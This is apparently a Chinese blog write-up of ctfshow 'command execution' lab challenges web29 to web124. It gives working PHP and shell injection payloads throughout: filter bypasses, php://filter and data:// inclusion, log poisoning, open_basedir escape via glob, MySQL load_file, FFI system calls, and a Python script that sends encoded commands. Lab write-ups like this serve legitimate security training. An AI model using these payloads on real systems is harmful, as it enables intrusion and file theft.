ctfshow-命令执行-web29-124

发布于 2023-03-28  265 次阅读


web 29

get传入c的值,只要没有flag,就会被加到eval中被执行

?c=system('tac f*.php');

web 30

增加了对system和php进行了过滤

直接使用passthru绕过

?c=passthru('tac f*.p*');

使用shell_exec配合echo绕过

?c=echo shell_exec('tac f*');

使用反引号配合echo绕过

?c=echo `tac f*`;

也可以再次使用eval套入,再通过get传入值,这个值就不会再经过检测了

?c=eval($_GET[1]);&1=system('tac flag.php');

web 31

增加过滤了cat, sort,shell

30中除了shell_exec不能使用,其他还是都能绕过的

web 32

增加过滤了. 空格 ' ` echo ; (

那么上面的是都用不了了,但是include还是可以使用的,可以包含flag

/?c=include$_GET[a]?%3E&a=php://filter/convert.base64-encode/resource=flag.php

web 33

增加过滤了双引号,还是没有过滤掉include,文件包含可以继续

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web 34

增加过滤了冒号,但是因为我们伪协议部分是get传入的参数,并不进行过滤,仍然可以使用之前的payload

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web 35

增加过滤了左尖括号和等于号

但还是不影响之前的payload,因为还是可以使用右尖括号闭合

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web 36

增加过滤了数字

把1换成a试一下

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

web 37

将eval改成了include,并且过滤了flag关键字,也就是直接包含文件了,那么我们可以包含到日志文件,然后UA写入一句话,然后再对一句话传参就可以读到文件

?c=/var/log/nginx/access.log&1=system('tac flag.php');phpinfo();

也可以使用data协议绕过

?c=data:///,<?=`tac f*.php`?>

使用php:input也可以

?c=php://input

image-20230323180745662

web 38

增加过滤了php和file,并不影响使用data协议

?c=data:///,<?=`tac f*.*`?>

也可以使用包含日志

?c=/var/log/nginx/access.log&1=system('tac flag.php');phpinfo();

web 39

只过滤了flag,并且不会将flag输出,而且对$c强制加了.php后缀

其实并没有什么影响,因为我们传入的代码已经闭合

还是可以使用data协议的,当然也可以包含日志

?c=data:///,<?=`tac f*.*`?>

web 40

过滤了很多字符,之前的方法应该都不行了

方法一:

可以通过get_defined_vars()函数获取到变量

next()选择到我们传入的变量

array_pop()弹出并获取变量值

然后再使用eval执行

?c=eval(array_pop(next(get_defined_vars())));

post传入一句话就可以被执行

1=phpinfo();

方法二:

?c=show_source(next(array_reverse(scandir(pos(localeconv()))))); 

    ?c=show_source(next(array_reverse(scandir(getcwd()))));

get_defined_vars() 返回所有已定义的变量的多维数组

localeconv() 返回包含本地化数字和 货币格式信息

getcwd() 返回当前的目录

scandir() 扫描目录

array_reverse() 数组逆置

next() 将数组指针指向下一个

show_source() 查看源码

current()和pos() 返回当前元素的值,不改变指针

reset() 将数组指针指向第一个元素,并输出

prev() 将数组指针指向上一个元素,并输出

end() 将数组指针指向第一个元素,并输出

each() 将数组指针指向下一个元素,并输出

web 41

POST传参,并且过滤了所有数字和字母,以及常见特殊符号,并没有过滤空格和分号

根据提示,可以使用或运算,来构造函数名

经过尝试

('phpinfo')();

这种方式再php7.3.4的版本中是合法的,但是在5.5.9中不合法

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。

而在这一关是php7的版本,所以我们就可以通过或运算来拼接一个函数名称并执行

根据提示中羽师傅提供的脚本来做这道题,因为我们要使用的字符有些无法在输入法中打出了,所以需要通过python脚本发送数据包,我根据羽师傅的脚本和aninock师傅的脚本修改了一下,更加参数化

使用方法:

python or_rce_exp.py <url> <pattern>
import re
import requests
from sys import *

# 未被过滤的字符的ascii码集合
t = []

# 这个脚本的目的是把所有未过滤的字符都添加到a列表里
def init_grep(pattern):
    for i in range(0, 256):
        c = chr(i)
        tmp = re.match(pattern, c, re.I)
        if (tmp):
            continue
            # print(tmp.group(0))
        else:
            t.append(i)

# 传入字符串,将字符串替换成可经过或运算替换的结果,并将两个需要或运算的字符串临时存入s1和s2中
def action(str):
    s1 = ''
    s2 = ''
    for c in range(0, len(str)):
        flag = False
        for i in t:
            for j in t:
                if i | j == ord(str[c]) and flag == False:
                    flag = True
                    s1 += chr(i)
                    s2 += chr(j)
                    # print(i)
                    # print(j)
                    # r = i | j
                    # print(chr(r))
                    # print("-" * 10)
                    break
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    # print(output)
    return output

if __name__ == '__main__':
    if len(argv) != 3:
        print("=" * 50)
        print('USER:python exp.py <url> <pattern>')
        print("eg:  python exp.py http://ctf.show/ '/[0-9]|[a-z]/i'")
        print("=" * 50)
        exit(0)
    # 向url发送数据
    url = argv[1]
    # 正则匹配表达式
    pattern = argv[2]

    init_grep(pattern)
    while True:
        param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
        data = {
            'c': param
        }
        # print(data)
        res = requests.post(url=url, data=data)
        print(res.text)

web 42

2>&1 将标准错误重定向到标准输出

/dev/null 相当于黑洞,

可以分号绕过

?c=tac flag.php;ls

这样将第二条命令写入黑洞了,第一条命令就会输出了

web 43

增加过滤了分号和cat,可以用其他的换行符进行绕过,%0a可以 %0b、%0c、%0d都不可以

?c=tac flag.php%0a

web 44

增加过滤了flag

?c=tac f*.php%0a

web 45

增加过滤了空格,可以使用tab进行绕过,%09

?c=tac%09f*.php%0a

web 46

增加过滤了数字,$ * 也就是*通配符不能使用了,还可以使用?

?c=tac%09f???.php%0a

这里虽然有数字,但是url解码之后就没有数字了,并不会被过滤

web 47

增加过滤了more、less、head、sort、tail

这些其实都是查看文件内容的命令,并没有tac所有还是可以使用之前的payload

?c=tac%09f???.php%0a

web 48

增加过滤了sed、cut、awk、strings、od、curl,这写也都是与查看文件相关的命令

还是没有tac,过滤的很多也没过滤全

?c=tac%09f???.php%0a

web 49

还是没有tac

?c=tac%09f???.php%0a

web 50

没有过滤tac,但是把%09过滤掉了,没有了空格,可以尝试用下面这个姿势

?c=tac<fla''g.php%0a

也就是将文件内容重定向到tac命令中,就避免使用了空格

web 51

tac终于是被过滤了,还有什么可以查看文件的呢?nl命令

?c=nl<fla''g.php%0a

web 52

不能用尖括号了,但是可以使用$符号 ${IFS} 相当于空格

?c=nl${IFS}fl''ag.php%0a

打开发现flag并不在这个flag.php中,寻找其他的地方有没有flag,发现是根目录下的flag文件

?c=nl${IFS}/fl''ag%0a

web 53

直接用${IFS}替换空格就可绕过

?c=nl${IFS}fl''ag.php

web 54

没有过滤mv,可以将flag.php重命名为a.txt,然后再查看1.txt就可以

mv${IFS}fla?.php${IFS}a.txt

web 55

这个是无字母数字的命令执行,看了WP,总结一下

  • 没有过滤点,点在linux命令中可以执行脚本
  • php在接收到文件时候,会先将文件上传到临时目录中,再看之后代码的操作对文件处理,一般路径 /tmp/php?????? ,在上传过程中,我们通过对该临时文件的读取执行达到执行命令的目的,这属于条件竞争

因为是条件竞争,所以在我们读取的时候,有可能文件已经被删除,只要多尝试发送几次请求就会有结果

image-20230326220205324

web 56

这次把数字也过滤了,还是上一关的方法

image-20230326220419938

web 57

提示flag在36.php,所以我们就需要使用没有过滤的字符来构造数字

$(()) 和$[]都是进行数学运算的

使用$(())进行构造数字

$(()) = 0
$((~$(())))   = -1
$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
$[~$[]] = -1

$[~$[$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]$[~$[]]]]

因为中括号被过滤了,所以用第一种就可以绕过

web 58

说是函数被禁用了,看看有啥

phpinfo()、system()、shell_exec()、exec()、passthru()、popen()、proc_open()、反引号也不行

可以include,

image-20230327093452013

也可以file_get_contents()读取文件内容

c=echo file_get_contents("flag.php");

web 59

file_get_contents()也被禁用了

查一查php中还有什么读取文件和函数

file()函数,可以将整个文件读入一个数组中。然后将变量输出就得到了flag

c=echo var_dump(file('flag.php'));

web 60

c=show_source('flag.php');

web 61

还有什么可以用的函数么

show_source() 直接查看源码

c=show_source('flag.php');

highlight_file()

c=highlight_file('flag.php');

readfile() 这关被禁用了

web 62

c=show_source('flag.php');

还可以怎么做呢,可以包含文件,我们也知道需要包含的是flag.php,并且flag保存在一个$flag变量中,所以。

c=include'flag.php';echo $flag;

web 63

c=include'flag.php';echo $flag;

web 64

c=include'flag.php';echo $flag;

web 65

c=include'flag.php';echo $flag;

web 66

flag换地方了,$flag="秀秀得了,这次不在这里";

那么我们尝试查看一下目录,这里就需要用到scandir()

c=print_r(scandir('/'));highlight_file('/flag.txt');

web 67

highlight_file('/flag.txt');

web 68

c=include"/flag.txt";

web 69

c=include"/flag.txt";

web 70

c=include"/flag.txt";

web 71

给了index.php文件

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

ob_get_contents() 返回输出缓冲区的内容

ob_end_clean() 函数删除最顶层的输出缓冲区及其所有内容,而不向浏览器发送任何内容。

也就是提前把缓冲区的内容读到$s中,再清除缓存不向浏览器输出,但是却输出经过过滤的$s

我们可以在执行完eval函数,就退出php程序

c=include"/flag.txt";exit();

web 72

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

没有找到flag.txt文件,扫描目录看看

报错Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(19) : eval()'d code on line 1

open_basedir作用就是指定目录位置,限制了PHP 所能打开的文件限制在指定的目录树

如何绕过open_basedir搜索文件呢?

可以使用glob伪协议,是php从5.3.0版本开始的一个筛选目录的伪协议,它不受open_basedir制约,代码如下

$a="glob:///*.txt";
if ($b=opendir($a)){
    while(($file=readdir($b))!==false){
        echo "filename:".$file."\n";
    }
    closedir($b);
}
exit();  // 这个起到绕过后面代码执行的作用

查到flag应该在根目录下的flag0.txt文件

使用wp中的uaf脚本绕过

web 73

继续用上一个的glob协议查看一下flag的位置在 /flagc.txt

c=include('/flagc.txt');exit();

看来这关是没有开启open_basedir的

web 74

使用glob伪协议搜索文件,flag在 /flagx.txt

c=include('/flagx.txt');exit();

web 75

flag在/flag36.txt

c=include('/flag36.txt');exit();

不行了,又开启了open_basedir

根据提示,使用mysql数据库去读取文件,这里就需要用到PDO

c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
    foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo($row[0])."|";
    }$dbh = null;
}catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

web 76

c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
    foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {
        echo($row[0])."|";
    }$dbh = null;
}catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

web 77

flag在/readflag

c=try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');
    foreach($dbh->query('select load_file("/flag36x.txt")') as $row) {
        echo($row[0])."|";
    }$dbh = null;
}catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

could not find driver?这个打不通了

使用这个php新特性绕过,PHP FFI

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

创建一个system对象,通过$ffi去调用system函数,执行命令将/readflag文件重定向到1.txt

web 118

image-20230328140148608

输入非法的字符就会回显 evil input

使用python脚本测试一下过滤了哪些字符

import requests

url = 'http://2e2fc281-90fa-4919-b058-8534e638d55a.challenge.ctf.show/'

chars = []

for i in range(1, 128):
    data = {
        'code': chr(i)
    }

    res = requests.post(url=url, data=data)
    if not res.text.find("evil input") > 0:
        print(chr(i) + '\n')
        chars.append(chr(i))
print(f"没有过滤的字符如下: {chars}")
['\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '#', '$', '.', ':', ';', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '_', '{', '}', '~', '\x7f']

我们可以通过构造系统变量来获得我们需要使用的字符

${PATH:~A}${PWD:~A} ????.???

${PATH:~A} 表示$PATH的最后一位 也就是/bin的最后一位 n

${PWD:~A} 表示$PWD的最后一位 也就是/var/www/html的最后一位 l

web 119

跑脚本看了一下未过滤字符,还是和118一样

['\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '#', '$', '.', ':', ';', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '_', '{', '}', '~', '\x7f']

但是刚才的方式不行了,应该是nl不能使用了

那我们构造一下cat试试

${#PWD} 表示字符串长度 ,#是一个特殊字符,表示返回变量的长度。

${#SHLVL}=1

PHP_VERSION=7.3.22

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???

构造出的payload即为 /???/?at ????.???

web 120

原理还是通过环境变量里的参数构造payload,这里code不能大于65

code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

web 121

code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

web 122

home没有被过滤

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web 124

base_convert(number,frombase,tobase) 将数字转换成对应进制的数字

dechex()函数用于将十进制转换成十六进制数

php7以上版本是支持动态拼接函数的,我们的思路就是通过数字的进制转换来构造字母

?c=$pi=base_convert(1751504350,10,36);
$sin=base_convert(784,10,36);
$pi($sin);

相当于system(ls),查到了flag就在flag.php文件中

system(tac flag.php),但是没有空格怎么办,,,构造一句话

hex2bin():把十六进制值的字符串转换为二进制,返回 ASCII 字符

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{cos});&abs=system&cos=ls;

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{cos});&abs=system&cos=tac flag.php;